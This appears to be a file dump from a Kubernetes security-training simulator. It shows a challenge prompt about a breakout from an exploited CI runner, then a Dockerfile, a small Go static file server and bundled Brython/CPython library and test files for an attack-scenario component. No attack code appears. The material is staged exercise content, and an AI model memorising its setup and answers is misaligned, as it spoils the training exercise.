exploited CI runner and reached the underlying host. Can you find out how? 14 | name: ci-runner-ng-breakout -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | 3 | ## 4 | ## Build 5 | ## 6 | FROM golang:1.18-bullseye AS build 7 | 8 | WORKDIR /emydocephalus 9 | 10 | # python interpreter website 11 | COPY /static /var/www/static 12 | 13 | # Go Webapp 14 | COPY go.mod ./ 15 | COPY *.go ./ 16 | 17 | RUN go build -o /var/www/emydocephalus -ldflags='-w -s' ./main.go 18 | 19 | ## 20 | ## Deploy 21 | ## 22 | FROM gcr.io/distroless/base-debian10 23 | 24 | WORKDIR / 25 | 26 | COPY --from=build --chown=nonroot:nonroot /var/www /var/www 27 | COPY --from=build /go/bin /usr/bin 28 | 29 | USER nonroot:nonroot 30 | 31 | EXPOSE 8080 32 | 33 | CMD ["/var/www/emydocephalus"] 34 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/go.mod: -------------------------------------------------------------------------------- 1 | module main 2 | 3 | go 1.18 4 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "net/http" 5 | ) 6 | 7 | func main() { 8 | http.Handle("/", http.FileServer(http.Dir("/var/www/static/"))) 9 | http.ListenAndServe(":8080", nil) 10 | } 11 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/_queue.py: -------------------------------------------------------------------------------- 1 | SimpleQueue = None 2 | 3 | class Empty(Exception): 4 | 'Exception raised by Queue.get(block=0)/get_nowait().' 5 | pass -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/_sysconfigdata_0_brython_.py: -------------------------------------------------------------------------------- 1 | build_time_vars = {} -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/antigravity.py: -------------------------------------------------------------------------------- 1 | 2 | import webbrowser 3 | import hashlib 4 | 5 | webbrowser.open("https://xkcd.com/353/") 6 | 7 | def geohash(latitude, longitude, datedow): 8 | '''Compute geohash() using the Munroe algorithm. 9 | 10 | >>> geohash(37.421542, -122.085589, b'2005-05-26-10458.68') 11 | 37.857713 -122.544543 12 | 13 | ''' 14 | # https://xkcd.com/426/ 15 | h = hashlib.md5(datedow, usedforsecurity=False).hexdigest() 16 | p, q = [('%f' % float.fromhex('0.' + x)) for x in (h[:16], h[16:32])] 17 | print('%d%s %d%s' % (latitude, p[1:], longitude, q[1:])) 18 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/browser/ajax.py: -------------------------------------------------------------------------------- 1 | from _ajax import * 2 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/browser/session_storage.py: -------------------------------------------------------------------------------- 1 | # session storage in browser 2 | import sys 3 | from browser import window 4 | from .local_storage import LocalStorage 5 | 6 | has_session_storage = hasattr(window, 'sessionStorage') 7 | 8 | class SessionStorage(LocalStorage): 9 | 10 | storage_type = "session_storage" 11 | 12 | def __init__(self): 13 | if not has_session_storage: 14 | raise EnvironmentError("SessionStorage not available") 15 | self.store = window.sessionStorage 16 | 17 | if has_session_storage: 18 | storage = SessionStorage() 19 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/browser/svg.py: -------------------------------------------------------------------------------- 1 | from _svg import * -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/browser/webcomponent.py: -------------------------------------------------------------------------------- 1 | from _webcomponent import * -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/browser/websocket.py: -------------------------------------------------------------------------------- 1 | from browser import window 2 | 3 | if hasattr(window, 'WebSocket'): 4 | supported = True 5 | WebSocket = window.WebSocket.new 6 | else: 7 | supported = False 8 | 9 | class WebSocket: 10 | def __init__(self, *args): 11 | raise NotImplementedError 12 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/browser/widgets/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/browser/widgets/__init__.py -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/browser/worker.py: -------------------------------------------------------------------------------- 1 | from _webworker import * -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/collections/abc.py: -------------------------------------------------------------------------------- 1 | from _collections_abc import * 2 | from _collections_abc import __all__ 3 | from _collections_abc import _CallableGenericAlias 4 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/concurrent/__init__.py: -------------------------------------------------------------------------------- 1 | # This directory is a Python package. 2 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/contextvars.py: -------------------------------------------------------------------------------- 1 | from _contextvars import Context, ContextVar, Token, copy_context 2 | 3 | 4 | __all__ = ('Context', 'ContextVar', 'Token', 'copy_context') 5 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/decimal.py: -------------------------------------------------------------------------------- 1 | 2 | try: 3 | from _decimal import * 4 | from _decimal import __doc__ 5 | from _decimal import __version__ 6 | from _decimal import __libmpdec_version__ 7 | except ImportError: 8 | from _pydecimal import * 9 | from _pydecimal import __doc__ 10 | from _pydecimal import __version__ 11 | from _pydecimal import __libmpdec_version__ 12 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/email/mime/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/email/mime/__init__.py -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/email/mime/nonmultipart.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2002-2006 Python Software Foundation 2 | # Author: Barry Warsaw 3 | # Contact: email-sig@python.org 4 | 5 | """Base class for MIME type messages that are not multipart.""" 6 | 7 | __all__ = ['MIMENonMultipart'] 8 | 9 | from email import errors 10 | from email.mime.base import MIMEBase 11 | 12 | 13 | 14 | class MIMENonMultipart(MIMEBase): 15 | """Base class for MIME non-multipart type messages.""" 16 | 17 | def attach(self, payload): 18 | # The public API prohibits attaching multiple subparts to MIMEBase 19 | # derived subtypes since none of them are, by definition, of content 20 | # type multipart/* 21 | raise errors.MultipartConversionError( 22 | 'Cannot attach additional subparts to non-multipart/*') 23 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/pwd.py: -------------------------------------------------------------------------------- 1 | 2 | def getpwuid(): 3 | pass 4 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/pydoc_data/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/pydoc_data/__init__.py -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/pydoc_data/_pydoc.css: -------------------------------------------------------------------------------- 1 | /* 2 | CSS file for pydoc. 3 | 4 | Contents of this file are subject to change without notice. 5 | 6 | */ 7 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/re.py: -------------------------------------------------------------------------------- 1 | from python_re import * -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/site-packages/foobar/Bar.py: -------------------------------------------------------------------------------- 1 | from foobar.Foo import Foo 2 | 3 | class Bar: 4 | def __str__(self): 5 | return "bar" -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/site-packages/foobar/Foo.py: -------------------------------------------------------------------------------- 1 | class Foo: 2 | def __str__(self): 3 | return "foo" -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/site-packages/foobar/__init__.py: -------------------------------------------------------------------------------- 1 | from foobar.Foo import Foo 2 | from foobar.Bar import Bar -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/site-packages/simpleaio/__init__.py: -------------------------------------------------------------------------------- 1 | """The asyncio package, tracking PEP 3156.""" 2 | 3 | from .events import * 4 | from .coroutines import * 5 | from .futures import * 6 | from .tasks import * 7 | from .http import * 8 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/site-packages/test_sp.py: -------------------------------------------------------------------------------- 1 | test = "site package" 2 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/site-packages/ui/__init__.py: -------------------------------------------------------------------------------- 1 | from browser import html, document 2 | from .dialog import * 3 | from .progressbar import * 4 | from .slider import * 5 | from .menu import * 6 | 7 | def add_stylesheet(): 8 | # should use urllib.parse, but it imports so many modules... 9 | css_url = '/'.join(__file__.split('/')[:-1]+ 10 | ['css/smoothness/jquery-ui-1.10.3.custom.min.css']) 11 | _link=html.LINK(Href=css_url) 12 | _link.rel='stylesheet' 13 | 14 | document <= _link 15 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/site-packages/ui/progressbar.py: -------------------------------------------------------------------------------- 1 | from . import widget 2 | from browser import html 3 | 4 | class ProgressBar(widget.Widget): 5 | def __init__(self, id=None, label=False): 6 | self._div_shell=html.DIV(Class="ui-progressbar ui-widget ui-widget-content ui-corner-all") 7 | widget.Widget.__init__(self, self._div_shell, 'progressbar', id) 8 | 9 | self._show_label=label 10 | if label: 11 | self._label=html.DIV(Class='progress-label') 12 | self._div_shell <= self._label 13 | 14 | self._bar=html.DIV(Class="ui-progressbar-value ui-widget-header ui-corner-left", 15 | style={'width': '0px'}) 16 | self._div_shell <= self._bar 17 | 18 | def set_progress(self, percent): 19 | self._bar.style.width='%s%%' % percent 20 | if self._show_label: 21 | self._label.text='%s%%' % percent 22 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/sre_compile.py: -------------------------------------------------------------------------------- 1 | import warnings 2 | warnings.warn(f"module {__name__!r} is deprecated", 3 | DeprecationWarning, 4 | stacklevel=2) 5 | 6 | from re import _compiler as _ 7 | globals().update({k: v for k, v in vars(_).items() if k[:2] != '__'}) 8 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/sre_constants.py: -------------------------------------------------------------------------------- 1 | import warnings 2 | warnings.warn(f"module {__name__!r} is deprecated", 3 | DeprecationWarning, 4 | stacklevel=2) 5 | 6 | from re import _constants as _ 7 | globals().update({k: v for k, v in vars(_).items() if k[:2] != '__'}) 8 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/sre_parse.py: -------------------------------------------------------------------------------- 1 | import warnings 2 | warnings.warn(f"module {__name__!r} is deprecated", 3 | DeprecationWarning, 4 | stacklevel=2) 5 | 6 | from re import _parser as _ 7 | globals().update({k: v for k, v in vars(_).items() if k[:2] != '__'}) 8 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/struct.py: -------------------------------------------------------------------------------- 1 | __all__ = [ 2 | # Functions 3 | 'calcsize', 'pack', 'pack_into', 'unpack', 'unpack_from', 4 | 'iter_unpack', 5 | 6 | # Classes 7 | 'Struct', 8 | 9 | # Exceptions 10 | 'error' 11 | ] 12 | 13 | from _struct import * 14 | from _struct import _clearcache 15 | from _struct import __doc__ 16 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/Sine-1000Hz-300ms.aif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/Sine-1000Hz-300ms.aif -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/__init__.py: -------------------------------------------------------------------------------- 1 | # Dummy file to make this directory a package. 2 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/__main__.py: -------------------------------------------------------------------------------- 1 | from test.libregrtest import main 2 | main() 3 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/ann_module2.py: -------------------------------------------------------------------------------- 1 | """ 2 | Some correct syntax for variable annotation here. 3 | More examples are in test_grammar and test_parser. 4 | """ 5 | 6 | from typing import no_type_check, ClassVar 7 | 8 | i: int = 1 9 | j: int 10 | x: float = i/10 11 | 12 | def f(): 13 | class C: ... 14 | return C() 15 | 16 | f().new_attr: object = object() 17 | 18 | class C: 19 | def __init__(self, x: int) -> None: 20 | self.x = x 21 | 22 | c = C(5) 23 | c.new_attr: int = 10 24 | 25 | __annotations__ = {} 26 | 27 | 28 | @no_type_check 29 | class NTC: 30 | def meth(self, param: complex) -> None: 31 | ... 32 | 33 | class CV: 34 | var: ClassVar['CV'] 35 | 36 | CV.var = CV() 37 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/ann_module3.py: -------------------------------------------------------------------------------- 1 | """ 2 | Correct syntax for variable annotation that should fail at runtime 3 | in a certain manner. More examples are in test_grammar and test_parser. 4 | """ 5 | 6 | def f_bad_ann(): 7 | __annotations__[1] = 2 8 | 9 | class C_OK: 10 | def __init__(self, x: int) -> None: 11 | self.x: no_such_name = x # This one is OK as proposed by Guido 12 | 13 | class D_bad_ann: 14 | def __init__(self, x: int) -> None: 15 | sfel.y: int = 0 16 | 17 | def g_bad_ann(): 18 | no_such_name.attr: int = 0 19 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-alaw.aifc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-alaw.aifc -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm16.aiff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm16.aiff -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm16.au: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm16.au -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm16.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm16.wav -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm24.aiff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm24.aiff -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm24.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm24.wav -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm32.aiff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm32.aiff -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm32.au: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm32.au -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm32.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm32.wav -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm8.aiff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm8.aiff -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm8.au: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm8.au -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm8.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-pcm8.wav -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-ulaw.aifc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-ulaw.aifc -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-ulaw.au: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiodata/pluck-ulaw.au -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiotest.au: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/audiotest.au -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/autotest.py: -------------------------------------------------------------------------------- 1 | # This should be equivalent to running regrtest.py from the cmdline. 2 | # It can be especially handy if you're in an interactive shell, e.g., 3 | # from test import autotest. 4 | from test.libregrtest import main 5 | main() 6 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/bad_coding.py: -------------------------------------------------------------------------------- 1 | # -*- coding: uft-8 -*- 2 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/bad_coding2.py: -------------------------------------------------------------------------------- 1 | #coding: utf8 2 | print('我') 3 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/badsyntax_3131.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | € = 2 3 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/badsyntax_future3.py: -------------------------------------------------------------------------------- 1 | """This is a test""" 2 | from __future__ import nested_scopes 3 | from __future__ import rested_snopes 4 | 5 | def f(x): 6 | def g(y): 7 | return x + y 8 | return g 9 | 10 | result = f(2)(4) 11 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/badsyntax_future4.py: -------------------------------------------------------------------------------- 1 | """This is a test""" 2 | import __future__ 3 | from __future__ import nested_scopes 4 | 5 | def f(x): 6 | def g(y): 7 | return x + y 8 | return g 9 | 10 | result = f(2)(4) 11 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/badsyntax_future5.py: -------------------------------------------------------------------------------- 1 | """This is a test""" 2 | from __future__ import nested_scopes 3 | import foo 4 | from __future__ import nested_scopes 5 | 6 | 7 | def f(x): 8 | def g(y): 9 | return x + y 10 | return g 11 | 12 | result = f(2)(4) 13 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/badsyntax_future6.py: -------------------------------------------------------------------------------- 1 | """This is a test""" 2 | "this isn't a doc string" 3 | from __future__ import nested_scopes 4 | 5 | def f(x): 6 | def g(y): 7 | return x + y 8 | return g 9 | 10 | result = f(2)(4) 11 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/badsyntax_future7.py: -------------------------------------------------------------------------------- 1 | """This is a test""" 2 | 3 | from __future__ import nested_scopes; import string; from __future__ import \ 4 | nested_scopes 5 | 6 | def f(x): 7 | def g(y): 8 | return x + y 9 | return g 10 | 11 | result = f(2)(4) 12 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/badsyntax_future8.py: -------------------------------------------------------------------------------- 1 | """This is a test""" 2 | 3 | from __future__ import * 4 | 5 | def f(x): 6 | def g(y): 7 | return x + y 8 | return g 9 | 10 | print(f(2)(4)) 11 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/badsyntax_future9.py: -------------------------------------------------------------------------------- 1 | """This is a test""" 2 | 3 | from __future__ import nested_scopes, braces 4 | 5 | def f(x): 6 | def g(y): 7 | return x + y 8 | return g 9 | 10 | print(f(2)(4)) 11 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/badsyntax_pep3120.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/badsyntax_pep3120.py -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/capath/4e1295a3.0: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIICLDCCAdYCAQAwDQYJKoZIhvcNAQEEBQAwgaAxCzAJBgNVBAYTAlBUMRMwEQYD 3 | VQQIEwpRdWVlbnNsYW5kMQ8wDQYDVQQHEwZMaXNib2ExFzAVBgNVBAoTDk5ldXJv 4 | bmlvLCBMZGEuMRgwFgYDVQQLEw9EZXNlbnZvbHZpbWVudG8xGzAZBgNVBAMTEmJy 5 | dXR1cy5uZXVyb25pby5wdDEbMBkGCSqGSIb3DQEJARYMc2FtcG9AaWtpLmZpMB4X 6 | DTk2MDkwNTAzNDI0M1oXDTk2MTAwNTAzNDI0M1owgaAxCzAJBgNVBAYTAlBUMRMw 7 | EQYDVQQIEwpRdWVlbnNsYW5kMQ8wDQYDVQQHEwZMaXNib2ExFzAVBgNVBAoTDk5l 8 | dXJvbmlvLCBMZGEuMRgwFgYDVQQLEw9EZXNlbnZvbHZpbWVudG8xGzAZBgNVBAMT 9 | EmJydXR1cy5uZXVyb25pby5wdDEbMBkGCSqGSIb3DQEJARYMc2FtcG9AaWtpLmZp 10 | MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAL7+aty3S1iBA/+yxjxv4q1MUTd1kjNw 11 | L4lYKbpzzlmC5beaQXeQ2RmGMTXU+mDvuqItjVHOK3DvPK7lTcSGftUCAwEAATAN 12 | BgkqhkiG9w0BAQQFAANBAFqPEKFjk6T6CKTHvaQeEAsX0/8YHPHqH/9AnhSjrwuX 13 | 9EBc0n6bVGhN7XaXd6sJ7dym9sbsWxb+pJdurnkxjx4= 14 | -----END CERTIFICATE----- 15 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/capath/6e88d7b8.0: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIICLDCCAdYCAQAwDQYJKoZIhvcNAQEEBQAwgaAxCzAJBgNVBAYTAlBUMRMwEQYD 3 | VQQIEwpRdWVlbnNsYW5kMQ8wDQYDVQQHEwZMaXNib2ExFzAVBgNVBAoTDk5ldXJv 4 | bmlvLCBMZGEuMRgwFgYDVQQLEw9EZXNlbnZvbHZpbWVudG8xGzAZBgNVBAMTEmJy 5 | dXR1cy5uZXVyb25pby5wdDEbMBkGCSqGSIb3DQEJARYMc2FtcG9AaWtpLmZpMB4X 6 | DTk2MDkwNTAzNDI0M1oXDTk2MTAwNTAzNDI0M1owgaAxCzAJBgNVBAYTAlBUMRMw 7 | EQYDVQQIEwpRdWVlbnNsYW5kMQ8wDQYDVQQHEwZMaXNib2ExFzAVBgNVBAoTDk5l 8 | dXJvbmlvLCBMZGEuMRgwFgYDVQQLEw9EZXNlbnZvbHZpbWVudG8xGzAZBgNVBAMT 9 | EmJydXR1cy5uZXVyb25pby5wdDEbMBkGCSqGSIb3DQEJARYMc2FtcG9AaWtpLmZp 10 | MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAL7+aty3S1iBA/+yxjxv4q1MUTd1kjNw 11 | L4lYKbpzzlmC5beaQXeQ2RmGMTXU+mDvuqItjVHOK3DvPK7lTcSGftUCAwEAATAN 12 | BgkqhkiG9w0BAQQFAANBAFqPEKFjk6T6CKTHvaQeEAsX0/8YHPHqH/9AnhSjrwuX 13 | 9EBc0n6bVGhN7XaXd6sJ7dym9sbsWxb+pJdurnkxjx4= 14 | -----END CERTIFICATE----- 15 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cfgparser.1: -------------------------------------------------------------------------------- 1 | # Also used by idlelib.test_idle.test_config. 2 | [Foo Bar] 3 | foo=newbar 4 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/check_soundcard.vbs: -------------------------------------------------------------------------------- 1 | rem Check for a working sound-card - exit with 0 if OK, 1 otherwise. 2 | set wmi = GetObject("winmgmts:") 3 | set scs = wmi.InstancesOf("win32_sounddevice") 4 | for each sc in scs 5 | set status = sc.Properties_("Status") 6 | wscript.Echo(sc.Properties_("Name") + "/" + status) 7 | if status = "OK" then 8 | wscript.Quit 0 rem normal exit 9 | end if 10 | next 11 | rem No sound card found - exit with status code of 1 12 | wscript.Quit 1 13 | 14 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/big5-utf8.txt: -------------------------------------------------------------------------------- 1 | 如何在 Python 中使用既有的 C library? 2 |  在資訊科技快速發展的今天, 開發及測試軟體的速度是不容忽視的 3 | 課題. 為加快開發及測試的速度, 我們便常希望能利用一些已開發好的 4 | library, 並有一個 fast prototyping 的 programming language 可 5 | 供使用. 目前有許許多多的 library 是以 C 寫成, 而 Python 是一個 6 | fast prototyping 的 programming language. 故我們希望能將既有的 7 | C library 拿到 Python 的環境中測試及整合. 其中最主要也是我們所 8 | 要討論的問題就是: 9 | 10 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/big5.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/big5.txt -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/big5hkscs-utf8.txt: -------------------------------------------------------------------------------- 1 | 𠄌Ě鵮罓洆 2 | ÊÊ̄ê êê̄ 3 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/big5hkscs.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/big5hkscs.txt -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/cp949-utf8.txt: -------------------------------------------------------------------------------- 1 | 똠방각하 펲시콜라 2 | 3 | ㉯㉯납!! 因九月패믤릔궈 ⓡⓖ훀¿¿¿ 긍뒙 ⓔ뎨 ㉯. . 4 | 亞영ⓔ능횹 . . . . 서울뤄 뎐학乙 家훀 ! ! !ㅠ.ㅠ 5 | 흐흐흐 ㄱㄱㄱ☆ㅠ_ㅠ 어릨 탸콰긐 뎌응 칑九들乙 ㉯드긐 6 | 설릌 家훀 . . . . 굴애쉌 ⓔ궈 ⓡ릘㉱긐 因仁川女中까즼 7 | 와쒀훀 ! ! 亞영ⓔ 家능궈 ☆上관 없능궈능 亞능뒈훀 글애듴 8 | ⓡ려듀九 